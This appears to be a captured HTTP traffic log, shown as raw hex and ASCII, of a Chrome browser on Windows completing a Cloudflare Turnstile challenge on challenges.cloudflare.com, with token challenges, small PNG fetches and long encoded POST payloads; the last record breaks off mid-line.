2025-03-21 18:07:56 UTC	856	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/923f643858f642bb/1742580474929/44d75a5c910fe65978e14fa095b662faed2ccbcba571ca39bda2d8c2950e70a5/ENz7gflP3lBXa-I HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/4r76g/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:07:56 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Fri, 21 Mar 2025 18:07:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-03-21 18:07:56 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 52 4e 64 61 58 4a 45 50 35 6c 6c 34 34 55 2d 67 6c 62 5a 69 2d 75 30 73 79 38 75 6c 63 63 6f 35 76 61 4c 59 77 70 55 4f 63 4b 55 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gRNdaXJEP5ll44U-glbZi-u0sy8ulcco5vaLYwpUOcKUAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-03-21 18:07:56 UTC	1	IN	Data Raw: 4a Data Ascii: J

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:07:57 UTC	827	OUT	GET /cdn-cgi/challenge-platform/h/b/d/923f643858f642bb/1742580474937/95BEwmt9hKffisQ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/4r76g/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:07:57 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:07:57 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 923f64509ba0dafc-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:07:57 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 23 00 00 00 02 08 02 00 00 00 5d 4b f2 9d 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR#]KIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:07:57 UTC	468	OUT	GET /cdn-cgi/challenge-platform/h/b/d/923f643858f642bb/1742580474937/95BEwmt9hKffisQ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:07:58 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:07:58 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 923f6453af9d8ca8-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:07:58 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 23 00 00 00 02 08 02 00 00 00 5d 4b f2 9d 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR#]KIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:07:57 UTC	1192	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1717960546:1742578069:1LRtxGnH81EQdVleKIamZTskeIFOD3hNgfHENVXJC98/923f643858f642bb/xRjnZqr53VvWIdfsIARKdmCiu_.AQunHFB6Q2DNEO9o-1742580473-1.1.1.1-0R9KGMBFX4wsC04H9v.qz6CdcYlJAEr4zWN.mjusEyfNH0G6AsN7DGlu3TA6Rn63 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 38534 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: xRjnZqr53VvWIdfsIARKdmCiu_.AQunHFB6Q2DNEO9o-1742580473-1.1.1.1-0R9KGMBFX4wsC04H9v.qz6CdcYlJAEr4zWN.mjusEyfNH0G6AsN7DGlu3TA6Rn63 cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/4r76g/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:07:57 UTC	16384	OUT	Data Raw: 6b 24 6d 36 42 61 57 6a 34 50 6d 78 30 43 6e 57 45 6f 2d 41 6d 30 6f 24 48 54 57 57 6f 4c 36 6f 24 6f 54 6f 6d 36 41 24 48 66 6f 65 36 6f 34 48 45 6f 6e 71 6e 4b 75 30 48 52 6f 64 50 54 6f 48 4b 32 58 33 58 72 6f 56 74 65 6f 35 70 61 52 73 59 53 56 34 6f 4c 6f 50 51 30 6f 53 36 48 74 65 6e 77 4b 61 79 68 6f 79 4b 6f 75 79 6f 78 70 57 2d 72 36 57 6e 6f 41 6e 6d 57 4f 58 45 6f 43 74 44 6f 61 4b 61 43 6f 67 70 57 66 6f 48 35 33 4b 48 72 47 47 6f 6b 7a 50 77 61 43 36 4b 51 38 30 6f 48 7a 6e 6c 72 46 73 37 62 79 6a 56 72 36 57 6b 56 7a 30 30 32 65 36 6f 51 67 57 50 62 4b 57 4f 6f 37 79 6f 74 68 47 53 47 6f 57 39 72 47 34 2b 30 41 6e 6f 37 70 53 79 6d 41 2b 5a 41 70 6f 6c 48 79 32 75 72 36 2b 6a 4f 4d 6d 6f 41 7a 6b 65 67 36 57 4c 6f 61 2b 37 61 70 6e 63 6f 56 Data Ascii: k$m6BaWj4Pmx0CnWEo-Am0o$HTWWoL6o$oTom6A$Hfoe6o4HEonqnKu0HRodPToHK2X3XroVteo5paRsYSV4oLoPQ0oS6HtenwKayhoyKouyoxpW-r6WnoAnmWOXEoCtDoaKaCogpWfoH53KHrGGokzPwaC6KQ80oHznlrFs7byjVr6WkVz002e6oQgWPbKWOo7yothGSGoW9rG4+0Ano7pSymA+ZApolHy2ur6+jOMmoAzkeg6WLoa+7apncoV
2025-03-21 18:07:57 UTC	16384	OUT	Data Raw: 43 42 50 75 74 6b 70 6a 6a 72 65 4d 36 77 43 4d 37 24 47 4b 6c 75 33 4b 32 24 52 67 59 48 4d 77 71 34 61 59 58 4d 79 6d 6f 32 41 61 61 74 78 52 4f 4b 46 79 71 5a 65 41 50 32 38 34 46 66 79 6f 41 44 71 30 75 78 50 36 4b 48 48 43 56 6a 48 69 57 57 71 79 30 2d 33 74 78 6f 5a 52 37 36 67 4a 49 43 50 32 57 31 45 30 75 6f 6d 70 61 41 24 6c 6f 6c 73 67 32 24 68 30 37 48 67 30 70 41 77 61 61 6d 55 56 33 77 57 70 61 77 6f 55 59 4d 44 67 48 43 41 77 43 6d 48 34 52 37 6a 48 75 31 4f 6f 53 36 6c 55 73 45 6f 55 77 48 63 6d 52 46 6c 43 53 5a 6d 2d 53 37 37 48 4f 50 76 68 38 2d 37 2d 6f 70 2d 68 77 57 34 36 33 34 66 4b 6b 70 68 32 5a 6f 79 36 47 36 57 74 74 6d 37 79 48 38 70 78 7a 47 48 34 33 34 51 4b 6d 6e 36 65 4b 61 67 61 69 70 6b 36 4b 57 37 30 57 68 36 66 4f 6f 68 Data Ascii: CBPutkpjjreM6wCM7$GKlu3K2$RgYHMwq4aYXMymo2AaatxROKFyqZeAP284FfyoADq0uxP6KHHCVjHiWWqy0-3txoZR76gJICP2W1E0uompaA$lolsg2$h07Hg0pAwaamUV3wWpawoUYMDgHCAwCmH4R7jHu1OoS6lUsEoUwHcmRFlCSZm-S77HOPvh8-7-op-hwW4634fKkph2Zoy6G6Wttm7yH8pxzGH434QKmn6eKagaipk6KW70Wh6fOoh
2025-03-21 18:07:57 UTC	5766	OUT	Data Raw: 42 71 6f 59 65 6e 55 64 51 78 4a 2b 66 4a 59 78 75 36 47 56 76 35 2d 53 6e 69 71 6e 6f 78 6f 48 6a 2b 4b 6f 70 34 6d 79 6f 47 6c 35 44 64 78 64 54 33 4a 4c 72 4b 43 43 53 39 6c 32 75 2b 6a 45 33 51 54 61 37 31 4c 75 4f 44 49 32 2b 48 7a 6d 46 4f 72 78 46 70 4a 24 67 34 67 66 6f 34 47 79 34 57 35 44 2b 44 49 36 54 42 2d 43 67 4b 57 71 42 66 69 41 49 59 64 4f 44 6d 54 56 4a 48 42 4f 4f 36 39 50 77 4f 32 46 65 69 2b 77 64 67 2d 6a 49 41 57 32 51 4b 43 78 5a 39 51 74 30 67 58 6e 6f 32 52 4a 65 62 71 75 6f 24 6c 5a 74 6c 50 32 6b 76 4d 59 75 64 71 4a 6f 57 7a 41 32 2b 7a 65 5a 6a 35 38 4a 70 30 53 70 37 41 6f 63 34 54 6a 57 24 53 70 6f 75 43 75 47 79 57 57 73 70 6f 68 66 5a 4b 39 6d 43 53 41 64 6f 79 34 78 6d 56 6f 62 70 36 6a 30 57 66 75 73 45 71 6e 57 37 6f Data Ascii: BqoYenUdQxJ+fJYxu6GVv5-SniqnoxoHj+Kop4myoGl5DdxdT3JLrKCCS9l2u+jE3QTa71LuODI2+HzmFOrxFpJ$g4gfo4Gy4W5D+DI6TB-CgKWqBfiAIYdODmTVJHBOO69PwO2Fei+wdg-jIAW2QKCxZ9Qt0gXno2RJebquo$lZtlP2kvMYudqJoWzA2+zeZj58Jp0Sp7Aoc4TjW$SpouCuGyWWspohfZK9mCSAdoy4xmVobp6j0WfusEqnW7o
2025-03-21 18:07:58 UTC	322	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:07:58 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 28204 Connection: close cf-chl-gen: YJhnVGWA4KezjF5QpuT6oFiQJW7l09p+3JtTmlthTcqB4hOCXSFcAJA5zp1z6VRv$D03lm6bg7fL/nTA4943+Wg== Server: cloudflare CF-RAY: 923f64533fb40f46-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:07:58 UTC	1047	IN	Data Raw: 76 4c 61 4d 76 62 71 4c 6d 6e 57 62 6f 4a 71 47 6d 5a 69 61 6f 35 69 56 71 38 6e 45 6f 71 2f 4e 79 4b 61 49 77 4d 47 71 32 71 72 4b 6c 62 43 32 30 72 4b 74 32 61 7a 6a 32 4e 4f 33 77 73 58 46 33 65 53 34 75 62 7a 77 38 4e 4f 38 35 4f 7a 52 78 39 48 52 31 65 33 65 79 4e 62 4b 79 64 62 5a 30 67 58 5a 34 66 6e 61 31 4f 48 61 35 67 33 71 32 77 33 6b 35 51 66 6c 31 66 4c 6e 46 2b 72 71 48 42 6e 77 37 78 50 79 37 65 48 57 46 4f 55 57 38 43 54 39 42 68 7a 70 2b 41 6a 35 43 7a 45 64 41 77 30 4b 43 4f 38 77 49 78 51 76 42 7a 77 78 38 6b 41 65 51 30 55 7a 4a 45 4e 45 43 44 51 64 46 51 6f 4e 43 44 46 4a 45 46 51 78 51 77 38 75 4e 56 41 78 4e 45 77 6e 4e 30 6b 77 4b 31 56 43 4d 78 67 37 56 54 68 59 58 45 5a 63 52 30 4a 74 53 57 45 2f 4e 44 34 2b 4d 44 46 4c 52 55 64 Data Ascii: vLaMvbqLmnWboJqGmZiao5iVq8nEoq/NyKaIwMGq2qrKlbC20rKt2azj2NO3wsXF3eS4ubzw8NO85OzRx9HR1e3eyNbKydbZ0gXZ4fna1OHa5g3q2w3k5Qfl1fLnF+rqHBnw7xPy7eHWFOUW8CT9Bhzp+Aj5CzEdAw0KCO8wIxQvBzwx8kAeQ0UzJENECDQdFQoNCDFJEFQxQw8uNVAxNEwnN0kwK1VCMxg7VThYXEZcR0JtSWE/ND4+MDFLRUd
2025-03-21 18:07:58 UTC	1369	IN	Data Raw: 77 70 36 7a 49 74 4b 72 49 7a 4d 2b 53 74 64 43 73 74 63 76 49 33 4e 53 32 30 74 65 75 31 4d 62 68 74 36 58 6b 76 71 58 46 77 39 6a 68 30 4d 7a 6e 76 75 54 54 75 4f 72 56 74 4f 61 37 30 2f 37 55 76 38 2b 39 39 50 37 75 75 63 59 4b 77 4e 72 35 33 64 6a 62 32 50 33 79 43 65 58 4f 34 51 6f 51 30 75 58 38 37 64 6f 4b 45 74 77 69 37 76 4c 65 2f 42 34 44 2b 41 73 41 44 50 6b 4d 4d 43 34 73 35 77 34 71 4c 2b 38 48 4f 51 30 52 42 66 51 5a 2f 44 34 39 49 68 62 2b 44 54 5a 44 50 52 64 47 45 68 4d 55 47 78 39 4b 4f 42 39 52 52 44 52 44 54 53 39 45 57 6c 67 52 55 42 63 75 4b 69 77 70 57 54 31 54 52 6a 41 2f 4e 6d 67 36 56 6a 6b 31 51 6c 78 6c 4b 32 38 6c 54 6a 42 58 56 46 68 48 52 55 35 36 64 7a 68 4c 4e 30 42 43 57 6c 74 75 57 46 70 68 65 33 39 56 69 58 74 68 62 47 Data Ascii: wp6zItKrIzM+StdCstcvI3NS20teu1Mbht6XkvqXFw9jh0MznvuTTuOrVtOa70/7Uv8+99P7uucYKwNr53djb2P3yCeXO4QoQ0uX87doKEtwi7vLe/B4D+AsADPkMMC4s5w4qL+8HOQ0RBfQZ/D49Ihb+DTZDPRdGEhMUGx9KOB9RRDRDTS9EWlgRUBcuKiwpWT1TRjA/Nmg6Vjk1QlxlK28lTjBXVFhHRU56dzhLN0BCWltuWFphe39ViXthbG
2025-03-21 18:07:58 UTC	1369	IN	Data Raw: 74 73 43 6d 72 70 69 79 6c 36 66 53 73 5a 6d 34 6e 37 47 65 76 64 36 31 6f 73 66 69 75 61 62 49 37 71 6a 41 32 39 54 30 33 73 36 79 7a 73 48 31 30 4f 2f 57 32 64 36 38 36 2f 57 39 74 76 47 34 2b 66 4b 2f 77 77 62 58 79 63 58 39 33 2b 77 47 30 4d 59 58 7a 52 41 56 47 78 62 57 47 68 50 61 45 42 4d 52 34 50 72 77 38 78 41 64 43 69 45 72 39 42 66 34 39 78 30 51 48 68 41 31 48 79 59 71 41 78 49 7a 4c 67 63 57 4f 7a 49 4c 47 6b 49 6b 4c 68 77 34 2f 69 4d 6d 42 43 63 56 43 45 41 36 48 6c 41 6a 4d 45 51 6e 56 52 63 73 4d 54 56 47 4a 30 30 33 53 6c 45 65 4f 30 35 58 54 54 39 53 57 6d 46 44 56 6d 42 42 57 55 55 70 4b 6c 78 6e 4c 45 74 42 5a 46 52 47 51 6a 46 5a 4f 56 78 33 4f 6c 69 43 65 59 47 43 56 6c 53 47 58 56 64 4c 64 32 35 74 5a 49 39 4f 62 6d 68 65 61 33 4a Data Ascii: tsCmrpiyl6fSsZm4n7Gevd61osfiuabI7qjA29T03s6yzsH10O/W2d686/W9tvG4+fK/wwbXycX93+wG0MYXzRAVGxbWGhPaEBMR4Prw8xAdCiEr9Bf49x0QHhA1HyYqAxIzLgcWOzILGkIkLhw4/iMmBCcVCEA6HlAjMEQnVRcsMTVGJ003SlEeO05XTT9SWmFDVmBBWUUpKlxnLEtBZFRGQjFZOVx3OliCeYGCVlSGXVdLd25tZI9Obmhea3J
2025-03-21 18:07:58 UTC	1369	IN	Data Raw: 62 4f 6e 6b 72 32 33 72 4e 44 42 75 37 43 61 78 62 2b 31 77 73 6e 44 76 65 7a 4e 78 38 47 6d 30 63 76 47 79 65 7a 34 72 64 66 61 30 39 37 72 32 64 48 7a 33 62 7a 76 2b 41 6e 38 77 63 62 59 78 76 30 4c 32 63 76 6f 39 4f 48 4f 37 51 2f 6c 30 76 63 54 36 64 62 34 48 39 66 66 44 41 55 6c 44 77 4c 69 2f 76 49 58 2f 50 63 68 2b 41 67 6f 47 77 6f 48 38 53 59 4d 45 41 6f 58 45 53 6b 32 2f 66 73 71 4c 78 77 2b 4f 6a 63 6b 44 7a 59 6f 41 67 55 2f 4e 77 67 66 52 79 6b 4a 4f 78 41 74 44 55 41 55 4d 52 46 46 55 44 77 70 47 7a 55 39 47 6b 34 63 4c 56 49 34 4e 30 4a 6c 4e 46 31 74 54 32 73 6d 5a 6b 6c 6a 51 79 34 6f 64 6b 70 42 4d 30 35 79 52 6d 77 2b 61 33 68 55 63 58 61 42 52 44 6c 56 58 32 57 45 56 34 74 4d 52 6c 43 4e 57 31 47 46 61 4a 65 4a 6c 59 64 59 54 58 4b 4f Data Ascii: bOnkr23rNDBu7Caxb+1wsnDvezNx8Gm0cvGyez4rdfa097r2dHz3bzv+An8wcbYxv0L2cvo9OHO7Q/l0vcT6db4H9ffDAUlDwLi/vIX/Pch+AgoGwoH8SYMEAoXESk2/fsqLxw+OjckDzYoAgU/NwgfRykJOxAtDUAUMRFFUDwpGzU9Gk4cLVI4N0JlNF1tT2smZkljQy4odkpBM05yRmw+a3hUcXaBRDlVX2WEV4tMRlCNW1GFaJeJlYdYTXKO
2025-03-21 18:07:58 UTC	1369	IN	Data Raw: 2f 58 30 62 57 6b 70 4c 65 6b 75 2b 75 75 32 64 72 4d 33 62 37 6b 7a 75 48 6f 74 64 4c 6c 37 75 54 57 36 66 50 52 33 65 44 30 77 4e 48 47 77 77 66 6a 2b 65 55 48 36 41 76 38 42 75 76 61 41 52 48 73 43 39 62 4b 2b 68 67 57 35 67 7a 77 48 78 54 79 45 51 50 68 46 77 63 6f 35 76 6b 4a 42 79 33 66 49 79 45 44 42 43 38 63 4b 52 55 45 41 79 49 4b 42 67 67 46 2b 68 6f 7a 4e 78 67 68 45 2f 33 37 50 53 4d 70 4b 79 55 73 47 67 51 63 55 52 41 45 44 53 46 48 46 56 56 51 4f 56 6b 6a 54 79 6f 72 45 56 31 57 57 52 73 66 4c 52 30 30 52 79 4a 47 49 57 56 6d 52 54 64 74 59 55 5a 6e 53 48 56 65 64 48 4a 54 61 46 42 37 63 46 74 74 58 30 42 68 57 6f 56 44 63 47 56 6a 69 6c 53 41 66 45 52 76 61 58 42 65 52 4a 53 50 6b 48 36 50 5a 46 42 5a 6c 35 4f 54 6e 5a 70 71 6a 59 42 33 6c Data Ascii: /X0bWkpLeku+uu2drM3b7kzuHotdLl7uTW6fPR3eD0wNHGwwfj+eUH6Av8BuvaARHsC9bK+hgW5gzwHxTyEQPhFwco5vkJBy3fIyEDBC8cKRUEAyIKBggF+hozNxghE/37PSMpKyUsGgQcURAEDSFHFVVQOVkjTyorEV1WWRsfLR00RyJGIWVmRTdtYUZnSHVedHJTaFB7cFttX0BhWoVDcGVjilSAfERvaXBeRJSPkH6PZFBZl5OTnZpqjYB3l
2025-03-21 18:07:58 UTC	1369	IN	Data Raw: 6d 35 65 37 6d 77 63 2f 6d 35 74 7a 78 33 72 37 42 38 71 2f 52 75 50 72 51 32 37 62 55 32 74 4c 66 39 74 6e 33 35 76 73 42 35 4f 72 59 33 74 6e 6a 7a 67 73 50 30 4f 6e 51 46 2b 76 77 43 76 76 79 45 64 59 61 37 52 30 44 34 42 51 59 48 52 7a 39 42 66 4d 57 47 75 51 4e 46 77 33 71 37 79 38 75 38 77 41 79 44 52 4d 61 39 68 30 39 45 78 38 59 4d 54 6b 64 4c 76 34 39 44 79 6b 42 4f 53 59 73 4b 41 34 48 50 69 34 65 4d 78 4e 4c 4e 67 6c 42 4f 53 4e 63 56 42 4d 75 4d 79 74 65 4d 56 4e 65 4a 44 52 5a 4e 45 4a 54 49 6c 73 2b 54 57 55 34 5a 6d 56 4a 52 31 45 2b 65 44 52 50 64 31 74 30 50 47 39 4e 4e 6e 39 52 64 54 74 65 62 7a 35 33 57 6d 6d 42 56 49 47 4a 5a 57 4e 74 57 6b 70 51 61 35 4f 45 6b 4a 52 51 64 35 74 30 6b 47 68 63 64 6d 36 42 5a 48 57 41 68 47 56 78 65 36 Data Ascii: m5e7mwc/m5tzx3r7B8q/RuPrQ27bU2tLf9tn35vsB5OrY3tnjzgsP0OnQF+vwCvvyEdYa7R0D4BQYHRz9BfMWGuQNFw3q7y8u8wAyDRMa9h09Ex8YMTkdLv49DykBOSYsKA4HPi4eMxNLNglBOSNcVBMuMyteMVNeJDRZNEJTIls+TWU4ZmVJR1E+eDRPd1t0PG9NNn9RdTtebz53WmmBVIGJZWNtWkpQa5OEkJRQd5t0kGhcdm6BZHWAhGVxe6
2025-03-21 18:07:58 UTC	1369	IN	Data Raw: 73 71 58 66 37 72 61 74 35 61 2f 35 75 62 4c 75 39 76 72 57 31 41 54 42 41 65 53 2f 78 67 58 44 78 63 73 4a 79 4e 59 4d 2b 4f 4d 55 44 67 34 4b 45 74 50 57 39 39 66 5a 32 66 73 66 47 51 6b 53 4a 42 30 64 4a 69 4c 6c 35 2f 67 6b 4b 79 6e 72 39 69 73 5a 47 75 37 76 38 79 76 7a 38 68 41 6a 38 2f 73 36 48 66 6e 2b 50 6a 64 45 42 50 72 37 51 41 68 47 41 50 77 43 53 69 56 51 45 43 67 70 56 42 52 52 55 78 49 59 44 7a 45 4e 44 6a 52 54 47 68 38 58 50 52 77 68 47 31 63 5a 47 6c 5a 54 4a 53 77 6a 4c 47 38 77 53 47 4e 73 4b 6e 4a 56 4d 43 35 32 4d 44 49 38 65 6c 30 36 50 54 64 72 67 30 51 37 50 44 6c 49 59 48 63 39 51 6f 70 2f 69 45 4a 2b 61 5a 4e 47 62 48 56 53 56 35 5a 31 6e 46 4a 50 6d 31 74 57 56 33 31 64 5a 48 79 46 59 6c 71 57 6e 32 52 70 59 35 39 6e 59 70 36 Data Ascii: sqXf7rat5a/5ubLu9vrW1ATBAeS/xgXDxcsJyNYM+OMUDg4KEtPW99fZ2fsfGQkSJB0dJiLl5/gkKynr9isZGu7v8yvz8hAj8/s6Hfn+PjdEBPr7QAhGAPwCSiVQECgpVBRRUxIYDzENDjRTGh8XPRwhG1cZGlZTJSwjLG8wSGNsKnJVMC52MDI8el06PTdrg0Q7PDlIYHc9Qop/iEJ+aZNGbHVSV5Z1nFJPm1tWV31dZHyFYlqWn2RpY59nYp6

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:08:05 UTC	1192	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1717960546:1742578069:1LRtxGnH81EQdVleKIamZTskeIFOD3hNgfHENVXJC98/923f643858f642bb/xRjnZqr53VvWIdfsIARKdmCiu_.AQunHFB6Q2DNEO9o-1742580473-1.1.1.1-0R9KGMBFX4wsC04H9v.qz6CdcYlJAEr4zWN.mjusEyfNH0G6AsN7DGlu3TA6Rn63 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 41015 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: xRjnZqr53VvWIdfsIARKdmCiu_.AQunHFB6Q2DNEO9o-1742580473-1.1.1.1-0R9KGMBFX4wsC04H9v.qz6CdcYlJAEr4zWN.mjusEyfNH0G6AsN7DGlu3TA6Rn63 cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/4r76g/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:08:05 UTC	16384	OUT	Data Raw: 6b 24 6d 36 42 61 57 6a 34 50 6d 78 30 43 6e 57 45 6f 2d 41 6d 30 6f 24 48 54 57 57 6f 4c 36 6f 24 6f 54 6f 6d 36 41 24 48 66 6f 65 36 6f 34 48 45 6f 6e 71 6e 4b 75 30 48 52 6f 64 50 54 6f 48 4b 32 58 33 58 72 6f 56 74 65 6f 35 70 61 52 73 59 53 56 34 6f 4c 6f 50 51 30 6f 53 36 48 74 65 6e 77 4b 61 79 68 6f 79 4b 6f 75 79 6f 78 70 57 2d 72 36 57 6e 6f 41 6e 6d 57 4f 58 45 6f 43 74 44 6f 61 4b 61 43 6f 67 70 57 66 6f 48 35 33 4b 48 72 47 47 6f 6b 7a 50 77 61 43 36 4b 51 38 30 6f 48 7a 6e 6c 72 46 73 37 62 79 6a 56 72 36 57 6b 56 7a 30 30 32 65 36 6f 51 67 57 50 62 4b 57 4f 6f 37 79 6f 74 68 47 53 47 6f 57 39 72 47 34 2b 30 41 6e 6f 37 70 53 79 6d 41 2b 5a 41 70 6f 6c 48 79 32 75 72 36 2b 6a 4f 4d 6d 6f 41 7a 6b 65 67 36 57 4c 6f 61 2b 37 61 70 6e 63 6f 56 Data Ascii: k$m6BaWj4Pmx0CnWEo-Am0o$HTWWoL6o$oTom6A$Hfoe6o4HEonqnKu0HRodPToHK2X3XroVteo5paRsYSV4oLoPQ0oS6HtenwKayhoyKouyoxpW-r6WnoAnmWOXEoCtDoaKaCogpWfoH53KHrGGokzPwaC6KQ80oHznlrFs7byjVr6WkVz002e6oQgWPbKWOo7yothGSGoW9rG4+0Ano7pSymA+ZApolHy2ur6+jOMmoAzkeg6WLoa+7apncoV
2025-03-21 18:08:05 UTC	16384	OUT	Data Raw: 43 42 50 75 74 6b 70 6a 6a 72 65 4d 36 77 43 4d 37 24 47 4b 6c 75 33 4b 32 24 52 67 59 48 4d 77 71 34 61 59 58 4d 79 6d 6f 32 41 61 61 74 78 52 4f 4b 46 79 71 5a 65 41 50 32 38 34 46 66 79 6f 41 44 71 30 75 78 50 36 4b 48 48 43 56 6a 48 69 57 57 71 79 30 2d 33 74 78 6f 5a 52 37 36 67 4a 49 43 50 32 57 31 45 30 75 6f 6d 70 61 41 24 6c 6f 6c 73 67 32 24 68 30 37 48 67 30 70 41 77 61 61 6d 55 56 33 77 57 70 61 77 6f 55 59 4d 44 67 48 43 41 77 43 6d 48 34 52 37 6a 48 75 31 4f 6f 53 36 6c 55 73 45 6f 55 77 48 63 6d 52 46 6c 43 53 5a 6d 2d 53 37 37 48 4f 50 76 68 38 2d 37 2d 6f 70 2d 68 77 57 34 36 33 34 66 4b 6b 70 68 32 5a 6f 79 36 47 36 57 74 74 6d 37 79 48 38 70 78 7a 47 48 34 33 34 51 4b 6d 6e 36 65 4b 61 67 61 69 70 6b 36 4b 57 37 30 57 68 36 66 4f 6f 68 Data Ascii: 